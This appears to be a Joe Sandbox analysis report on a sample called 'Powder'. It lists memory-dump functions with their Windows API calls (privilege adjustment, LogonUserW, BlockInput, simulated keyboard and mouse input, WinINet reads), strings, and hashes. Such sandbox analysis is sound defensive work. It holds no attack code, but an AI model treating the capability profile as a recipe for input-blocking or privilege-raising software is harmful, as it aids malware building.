Function 00E859B3 Relevance: 7.6, APIs: 5, Instructions: 69windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32 ref: 00E85A02
IsWindowEnabled.USER32 ref: 00E85A10
GetForegroundWindow.USER32(?,?,00000001), ref: 00E85A1D
IsIconic.USER32 ref: 00E85A2B
IsZoomed.USER32 ref: 00E85A39

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: Window$EnabledForegroundIconicVisibleZoomed
String ID:
API String ID: 292994002-0
Opcode ID: a5c886b5901ba2263f855962d491a38090fe8b023db0b7c2cfc8104bdc812467
Instruction ID: 4c7530a680dfbc3ce867f6edf75a3d4a527bc65c063345771f0bb63652671b99
Opcode Fuzzy Hash: a5c886b5901ba2263f855962d491a38090fe8b023db0b7c2cfc8104bdc812467
Instruction Fuzzy Hash: 4411B272300A119FE7267F669C84A6E7B99EF84721B41556AE84EF7281DF30D9018BA0

Function 00E40030 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 17timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 00E40034
__swprintf.LIBCMT ref: 00E40065

Strings

%.3d, xrefs: 00E4003F
WIN_XPe, xrefs: 00E400A4

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: LocalTime__swprintf
String ID: %.3d$WIN_XPe
API String ID: 2070861257-2409531811
Opcode ID: c1153a8d8204d1b7ce3a4ae18918b304d64fb0c653bfad7dc28a63afa4f31e57
Instruction ID: c7ebfe7798cd03e2108f515dba39018df135dbe5f2f0eb1df67df8e24ba13e19
Opcode Fuzzy Hash: c1153a8d8204d1b7ce3a4ae18918b304d64fb0c653bfad7dc28a63afa4f31e57
Instruction Fuzzy Hash: 6DD01272C18118EEC708DB90E845DFA737CAB04300F102862F646B2080E275978C9F22

Function 00E729BA Relevance: 4.7, APIs: 3, Instructions: 164networkfileCOMMON

Download Yara Rule

APIs

InternetQueryDataAvailable.WININET(00000001,?,00000000,00000000,00000000,?,?,?,?,?,?,?,?,00E71ED6,00000000), ref: 00E72AAD
InternetReadFile.WININET(00000001,00000000,00000001,00000001), ref: 00E72AE4

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: Internet$AvailableDataFileQueryRead
String ID:
API String ID: 599397726-0
Opcode ID: 838fb0fcc1d4b88d13ccee9cf5e612ffeebe3d93e50da907e2743c53901e66ee
Instruction ID: 91687faa9c1d2f59fe045423ed9d7b55769bfdc74b062ba76fde82d6ff61e00c
Opcode Fuzzy Hash: 838fb0fcc1d4b88d13ccee9cf5e612ffeebe3d93e50da907e2743c53901e66ee
Instruction Fuzzy Hash: 7241A471A00309BFEB20DE95DC85EBBB7ECEB40768F10905EF709B6141EA71AE419760

Function 00E59399 Relevance: 4.6, APIs: 3, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 00E20FE6: std::exception::exception.LIBCMT ref: 00E2101C
Part of subcall function 00E20FE6: __CxxThrowException@8.LIBCMT ref: 00E21031

LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00E593E3
AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00E59410
GetLastError.KERNEL32 ref: 00E5941D

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: AdjustErrorException@8LastLookupPrivilegePrivilegesThrowTokenValuestd::exception::exception
String ID:
API String ID: 1922334811-0
Opcode ID: bcda805c5a8b33ed419eaad83ccea869ec28dd4d1faf85214c04bd005fb943ab
Instruction ID: d5204f1b29f5f81f7bf5af584710451709b0e72f5d65d0fab26cfdba5e3d7b98
Opcode Fuzzy Hash: bcda805c5a8b33ed419eaad83ccea869ec28dd4d1faf85214c04bd005fb943ab
Instruction Fuzzy Hash: BD11B2B1414204EFD728DF54ECC5D6BB7FCEB44711B10851EE855A7241EB30AC45CB60

Function 00E642D5 Relevance: 4.6, APIs: 3, Instructions: 61fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,00000080,00000003,00000000,00000003,00000080,00000000), ref: 00E642FF
DeviceIoControl.KERNEL32(00000000,002D1400,00000007,0000000C,?,0000000C,?,00000000), ref: 00E6433C
CloseHandle.KERNEL32(00000000,?,?,00000080,00000003,00000000,00000003,00000080,00000000), ref: 00E64345

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: CloseControlCreateDeviceFileHandle
String ID:
API String ID: 33631002-0
Opcode ID: 143d669becb4d7331c461e707ded5f9ee76466153e035a91d4d58d6339fbf39a
Instruction ID: f20cc0e639aca2e7af7123d77637fd43f4af7a1ce75815a8f343934d69a08325
Opcode Fuzzy Hash: 143d669becb4d7331c461e707ded5f9ee76466153e035a91d4d58d6339fbf39a
Instruction Fuzzy Hash: 241182B2941229BEE7109BE9AC44FAFBBBCEB09754F100256B914F7291D2745D0487A1

Function 00E64F1C Relevance: 4.5, APIs: 3, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 00E64F45
CheckTokenMembership.ADVAPI32(00000000,?,?), ref: 00E64F5C
FreeSid.ADVAPI32(?), ref: 00E64F6C

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID:
API String ID: 3429775523-0
Opcode ID: d7603acdbea378d8b57a3f72a863620e34205c5305e2126cae25fe85a3e1065c
Instruction ID: 034f65e4144dc86e0200b4288294d485abf894bf8489728d8eb72e1447add25e
Opcode Fuzzy Hash: d7603acdbea378d8b57a3f72a863620e34205c5305e2126cae25fe85a3e1065c
Instruction Fuzzy Hash: 80F04F75A5130CBFDF00DFE1DC89AADBBBCEF08201F40486AA501E2180D7345A048B50

Function 00E61AC6 Relevance: 3.0, APIs: 2, Instructions: 32keyboardCOMMON

Download Yara Rule

APIs

SendInput.USER32(00000001,?,0000001C,?,?,00000002), ref: 00E61B01
keybd_event.USER32(?,75C0C0D0,?,00000000), ref: 00E61B14

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: InputSendkeybd_event
String ID:
API String ID: 3536248340-0
Opcode ID: 69e946fdf996c5156e670c7c21928070460b3ac95b57de5c61657c206dfed3e9
Instruction ID: b59d69a989659844dd223c84e744c597a4270c8aa2c17ecdbe2034de957ca9d7
Opcode Fuzzy Hash: 69e946fdf996c5156e670c7c21928070460b3ac95b57de5c61657c206dfed3e9
Instruction Fuzzy Hash: C9F0377194020DAFDB11CF95D806BFE7BB4EF04316F00804AF955A6292D3799615DF94

Function 00E6A6AD Relevance: 3.0, APIs: 2, Instructions: 31windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,?,00000FFF,00000000,?,?,00E79B52,?,00E9098C,?), ref: 00E6A6DA
FormatMessageW.KERNEL32(00001000,00000000,000000FF,00000000,?,00000FFF,00000000,?,?,00E79B52,?,00E9098C,?), ref: 00E6A6EC

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: f6a87553bb7fc243254285e1c631566411570e4e72426e7d789ff60753d99ff0
Instruction ID: 902d9f2c4b94c7247524b0e61d3b28d5b04091d4e0e2a516026b5cfc1a96d491
Opcode Fuzzy Hash: f6a87553bb7fc243254285e1c631566411570e4e72426e7d789ff60753d99ff0
Instruction Fuzzy Hash: 4FF0823555422DBFDB20AFA4DC48FEA77ACBF097A1F008166B918B6191D6309944CFA1

Function 00E58DE9 Relevance: 3.0, APIs: 2, Instructions: 22COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00E58F27), ref: 00E58DFE
CloseHandle.KERNEL32(?,?,00E58F27), ref: 00E58E10

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: AdjustCloseHandlePrivilegesToken
String ID:
API String ID: 81990902-0
Opcode ID: 607a8964d53ca77cb5692398f8a0b539339f20e822db6dc26bf0b1d02f30311c
Instruction ID: d7fa3f685be38b4f9c4c2b91e7aa6c000ddfc178e30c4bc28370ec4589164335
Opcode Fuzzy Hash: 607a8964d53ca77cb5692398f8a0b539339f20e822db6dc26bf0b1d02f30311c
Instruction Fuzzy Hash: C8E0B676010610EFE7262B61FD09E777BEDEB04311B14896AF89AA0470DB62ACA4DB50

Function 00E2A385 Relevance: 3.0, APIs: 2, Instructions: 8COMMONLIBRARYCODE

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000,?,00E28F87,?,?,?,00000001), ref: 00E2A38A
UnhandledExceptionFilter.KERNEL32(?,?,?,00000001), ref: 00E2A393

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: b4281ba1f26519c316559b57b4d1055634a0aecd2c78bf9c00bbd1059ba3ffdf
Instruction ID: 01bef236beec5db30540c473e89c1a4d50479fa0c24dd9bf8b918c149000b5cb
Opcode Fuzzy Hash: b4281ba1f26519c316559b57b4d1055634a0aecd2c78bf9c00bbd1059ba3ffdf
Instruction Fuzzy Hash: 43B09232064208EFCA406BA2EC09B883F68EB44B62F804013F61D54060CB6254548A91

Function 00E745D5 Relevance: 1.5, APIs: 1, Instructions: 25keyboardCOMMON

Download Yara Rule

APIs

BlockInput.USER32(00000001), ref: 00E745F0

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: BlockInput
String ID:
API String ID: 3456056419-0
Opcode ID: 8064ab679e914fb372b9abcb39286b1f970b8197e66040bf667c1b0954edb0a4
Instruction ID: 30e2cac478f17e7730b878a48a533b0ac3e531417849e2c86fd43aa4ae61627b
Opcode Fuzzy Hash: 8064ab679e914fb372b9abcb39286b1f970b8197e66040bf667c1b0954edb0a4
Instruction Fuzzy Hash: 8EE04FB62102169FD710AF5AE804E9BF7E8AF94760F00C416FD49EB391DB70E9418B91

Function 00E651E2 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

mouse_event.USER32(00000002,00000000,00000000,00000000,00000000), ref: 00E65205

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: mouse_event
String ID:
API String ID: 2434400541-0
Opcode ID: 7a514758d43e35544d7da47fbc3ec261d92eaa18f39fe5399f285312086acf79
Instruction ID: aeab646069f127461854992d7472012d1f2013f068e1cbb96fb78543344d0189
Opcode Fuzzy Hash: 7a514758d43e35544d7da47fbc3ec261d92eaa18f39fe5399f285312086acf79
Instruction Fuzzy Hash: 1BD09E973E2E0979EE580724BE1FF761688E3037C5FD4754A7142B50C1ECD458859431

Function 00E59369 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

LogonUserW.ADVAPI32(?,00000001,?,?,00000000,00E58FA7), ref: 00E59389

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: LogonUser
String ID:
API String ID: 1244722697-0
Opcode ID: f6ea029b7cf3736d0a78fe8d378d9b8d77b664fd90f00d99c303cd0b5dec1ba0
Instruction ID: 3cd951c81359da33cd44c2df15fc3c2453b929615490b964cd050f9cdcf4faef
Opcode Fuzzy Hash: f6ea029b7cf3736d0a78fe8d378d9b8d77b664fd90f00d99c303cd0b5dec1ba0
Instruction Fuzzy Hash: 05D05E3226450EAFEF018EA4DC01EAE3B69EB04B01F808512FE15D50A0C775D835AB60

Function 00E40722 Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(?,?), ref: 00E40734

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: 79d60720469017d4c2daed4095710b0a4892caf71a70368f160701529a72e829
Instruction ID: 5446dc6879dd57ba6f129fb1685aaf0b2ea82cad6760007650178d6817ec9ed7
Opcode Fuzzy Hash: 79d60720469017d4c2daed4095710b0a4892caf71a70368f160701529a72e829
Instruction Fuzzy Hash: 44C04CF1800109DFCB05DBA0D988EEE77BCAB04304F100456A105B2100D7749B448A71

Function 00E2A354 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(?), ref: 00E2A35A

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: bb8cc63ddb466cb8de7e385ac03b6c6733f1cc3799a9492cb191071e75deb888
Instruction ID: 47057a42a1fb7f9f8a2f3363218f5ae673bd42640f956ac240ed036cb4cf32ea
Opcode Fuzzy Hash: bb8cc63ddb466cb8de7e385ac03b6c6733f1cc3799a9492cb191071e75deb888
Instruction Fuzzy Hash: 90A0223002020CFFCF002FA3FC08888BFACEB002A0B808023F80C00032CB33A8208AC0

Function 00E83BA9 Relevance: 51.1, APIs: 6, Strings: 23, Instructions: 365windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,00E90980), ref: 00E83C65
IsWindowVisible.USER32(?), ref: 00E83C89

Strings

SHOWDROPDOWN, xrefs: 00E83D1E
SETCURRENTSELECTION, xrefs: 00E83DF4
DELSTRING, xrefs: 00E83D87
GETSELECTED, xrefs: 00E83EE1
FINDSTRING, xrefs: 00E83DB4
CURRENTTAB, xrefs: 00E83CFB
GETCURRENTLINE, xrefs: 00E83F2B
GETCURRENTSELECTION, xrefs: 00E83E21
ISENABLED, xrefs: 00E83CA9
SELECTSTRING, xrefs: 00E83E44
UNCHECK, xrefs: 00E83EC1
EDITPASTE, xrefs: 00E83F9D
ISCHECKED, xrefs: 00E83E77
ISVISIBLE, xrefs: 00E83C75
HIDEDROPDOWN, xrefs: 00E83D3E
TABRIGHT, xrefs: 00E83CDB
GETLINE, xrefs: 00E83FD9
TABLEFT, xrefs: 00E83CC5
GETCURRENTCOL, xrefs: 00E83F66
CHECK, xrefs: 00E83EAB
ADDSTRING, xrefs: 00E83D54
SENDCOMMANDID, xrefs: 00E84018
GETLINECOUNT, xrefs: 00E83F04

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: BuffCharUpperVisibleWindow
String ID: ADDSTRING$CHECK$CURRENTTAB$DELSTRING$EDITPASTE$FINDSTRING$GETCURRENTCOL$GETCURRENTLINE$GETCURRENTSELECTION$GETLINE$GETLINECOUNT$GETSELECTED$HIDEDROPDOWN$ISCHECKED$ISENABLED$ISVISIBLE$SELECTSTRING$SENDCOMMANDID$SETCURRENTSELECTION$SHOWDROPDOWN$TABLEFT$TABRIGHT$UNCHECK
API String ID: 4105515805-45149045
Opcode ID: 8e9c896c420482a10e8c5801a45c1462d1e9177f7b203d8fca89338aff795c34
Instruction ID: 10813e981b664d910222d6870291d42a05a1be9887014857dfdc063cdaca55d9
Opcode Fuzzy Hash: 8e9c896c420482a10e8c5801a45c1462d1e9177f7b203d8fca89338aff795c34
Instruction Fuzzy Hash: 2ED16270204215CBCB04FF60C551AAAB7E1EF94744F246858F9597B2E3CB31EE4ACB92

Function 00E8ABFF Relevance: 49.8, APIs: 33, Instructions: 274COMMON

Download Yara Rule

APIs

SetTextColor.GDI32(?,00000000), ref: 00E8AC55
GetSysColorBrush.USER32(0000000F), ref: 00E8AC86
GetSysColor.USER32(0000000F), ref: 00E8AC92
SetBkColor.GDI32(?,000000FF), ref: 00E8ACAC
SelectObject.GDI32(?,?), ref: 00E8ACBB
InflateRect.USER32(?,000000FF,000000FF), ref: 00E8ACE6
GetSysColor.USER32(00000010), ref: 00E8ACEE
CreateSolidBrush.GDI32(00000000), ref: 00E8ACF5
FrameRect.USER32(?,?,00000000), ref: 00E8AD04
DeleteObject.GDI32(00000000), ref: 00E8AD0B
InflateRect.USER32(?,000000FE,000000FE), ref: 00E8AD56
FillRect.USER32(?,?,?), ref: 00E8AD88
GetWindowLongW.USER32(?,000000F0), ref: 00E8ADB3

Part of subcall function 00E8AF18: GetSysColor.USER32(00000012), ref: 00E8AF51
Part of subcall function 00E8AF18: SetTextColor.GDI32(?,?), ref: 00E8AF55
Part of subcall function 00E8AF18: GetSysColorBrush.USER32(0000000F), ref: 00E8AF6B
Part of subcall function 00E8AF18: GetSysColor.USER32(0000000F), ref: 00E8AF76
Part of subcall function 00E8AF18: GetSysColor.USER32(00000011), ref: 00E8AF93
Part of subcall function 00E8AF18: CreatePen.GDI32(00000000,00000001,00743C00), ref: 00E8AFA1
Part of subcall function 00E8AF18: SelectObject.GDI32(?,00000000), ref: 00E8AFB2
Part of subcall function 00E8AF18: SetBkColor.GDI32(?,00000000), ref: 00E8AFBB
Part of subcall function 00E8AF18: SelectObject.GDI32(?,?), ref: 00E8AFC8
Part of subcall function 00E8AF18: InflateRect.USER32(?,000000FF,000000FF), ref: 00E8AFE7
Part of subcall function 00E8AF18: RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 00E8AFFE
Part of subcall function 00E8AF18: GetWindowLongW.USER32(00000000,000000F0), ref: 00E8B013

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: Color$Rect$Object$BrushInflateSelect$CreateLongTextWindow$DeleteFillFrameRoundSolid
String ID:
API String ID: 4124339563-0
Opcode ID: 6f28af4c574551f716937e7616ae6371e2a365e5414a9c6beaedb344f85bbd81
Instruction ID: 5941956cced45769557e37c2d380e855f5aa6c706316369b63f5803af49687ac
Opcode Fuzzy Hash: 6f28af4c574551f716937e7616ae6371e2a365e5414a9c6beaedb344f85bbd81
Instruction Fuzzy Hash: 9BA19272009301AFD711AF65DC08E6BBBA9FF48325F541A2BF95AA61E0D730D844CF52

